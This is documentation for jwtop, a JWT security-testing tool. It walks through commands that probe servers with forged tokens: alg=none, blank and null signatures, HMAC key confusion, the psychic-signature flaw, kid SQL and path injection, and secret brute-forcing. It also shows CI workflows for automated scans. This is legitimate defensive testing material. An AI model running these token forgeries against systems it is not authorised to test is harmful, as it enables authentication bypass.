Test JWT security
JWTop provides two complementary tools for JWT security testing: jwtop crack probes a live server automatically, while jwtop exploit generates modified tokens for manual inspection or targeted tests.
Automated server scan
Section titled “Automated server scan”jwtop crack sends a probe for each known exploit technique and reports which ones the server accepts.
jwtop crack $TOKEN --url https://api.example.com/protectedSample output:
[+] algnone (none) 200 VULNERABLE[ ] algnone (NONE) 401[ ] algnone (None) 401[ ] algnone (nOnE) 401[ ] blanksecret 401[ ] nullsig 401[-] hmacconfusion skipped (no public key provided)[-] psychicsig skipped (ECDSA-only exploit)[ ] kidinjection (sql) 401[ ] kidinjection (path) 401[-] secret skipped (not found in dictionary)A [+] line means the server accepted the exploit. Exit code 0 means at least one exploit succeeded; 1 means none did.
Include a public key to enable the hmacconfusion probe:
jwtop crack $TOKEN --url https://api.example.com/protected \ --key /path/to/public.pem
jwtop crack $TOKEN --url https://api.example.com/protected \ --key https://example.com/public.pemAdd a custom secret wordlist:
jwtop crack $TOKEN --url https://api.example.com/protected \ --wordlist /path/to/secrets.txtTarget expects the JWT somewhere other than the Authorization header:
# Cookiejwtop crack $TOKEN --url https://api.example.com/protected --token-in cookie --token-name session
# Query parameterjwtop crack $TOKEN --url https://api.example.com/protected --token-in query --token-name access_token
# Form-encoded POST bodyjwtop crack $TOKEN --url https://api.example.com/protected --token-in body --token-name jwtSee the crack reference for all --token-in options.
Manual exploit tokens
Section titled “Manual exploit tokens”Use jwtop exploit when you need a specific modified token for a targeted test, a report, or a case where the server requires a non-standard request format.
alg=none bypass:
# Single variantjwtop exploit algnone $TOKEN
# All four capitalisation variants (one per line)jwtop exploit algnone --all $TOKENBlank HMAC secret:
jwtop exploit blanksecret $TOKENNull signature (alg unchanged):
jwtop exploit nullsig $TOKENHMAC confusion (public key as secret):
jwtop exploit hmacconfusion $TOKEN --key /path/to/public.pemjwtop exploit hmacconfusion $TOKEN --key https://example.com/public.pemPsychic signature (all-zero ECDSA signature, CVE-2022-21449):
jwtop exploit psychicsig $TOKENkid header injection:
# SQL injection variantjwtop exploit kidinjection --mode sql $TOKEN
# Path traversal variantjwtop exploit kidinjection --mode path $TOKENBrute-force HMAC secret:
jwtop exploit weaksecret $TOKENjwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txtUsing exploit tokens in scripts
Section titled “Using exploit tokens in scripts”Capture the output and send it as a Bearer token:
EXPLOITED=$(jwtop exploit algnone $TOKEN)curl -si -H "Authorization: Bearer $EXPLOITED" https://api.example.com/protected \ | head -1In GitHub Actions
Section titled “In GitHub Actions”Run a vulnerability scan automatically on every pull request:
name: JWT security scanon: pull_request:
jobs: scan: runs-on: ubuntu-latest steps: - uses: cerberauth/jwtop-action@v1 with: args: crack ${{ secrets.TEST_TOKEN }} --url ${{ vars.API_URL }}/protectedname: JWT security scanon: pull_request:
jobs: scan: runs-on: ubuntu-latest steps: - name: Install jwtop run: go install github.com/cerberauth/jwtop@latest
- name: Scan JWT vulnerabilities run: | if jwtop crack "$TOKEN" --url "$API_URL/protected"; then echo "::error::JWT vulnerability detected" exit 1 fi env: TOKEN: ${{ secrets.TEST_TOKEN }} API_URL: ${{ vars.API_URL }}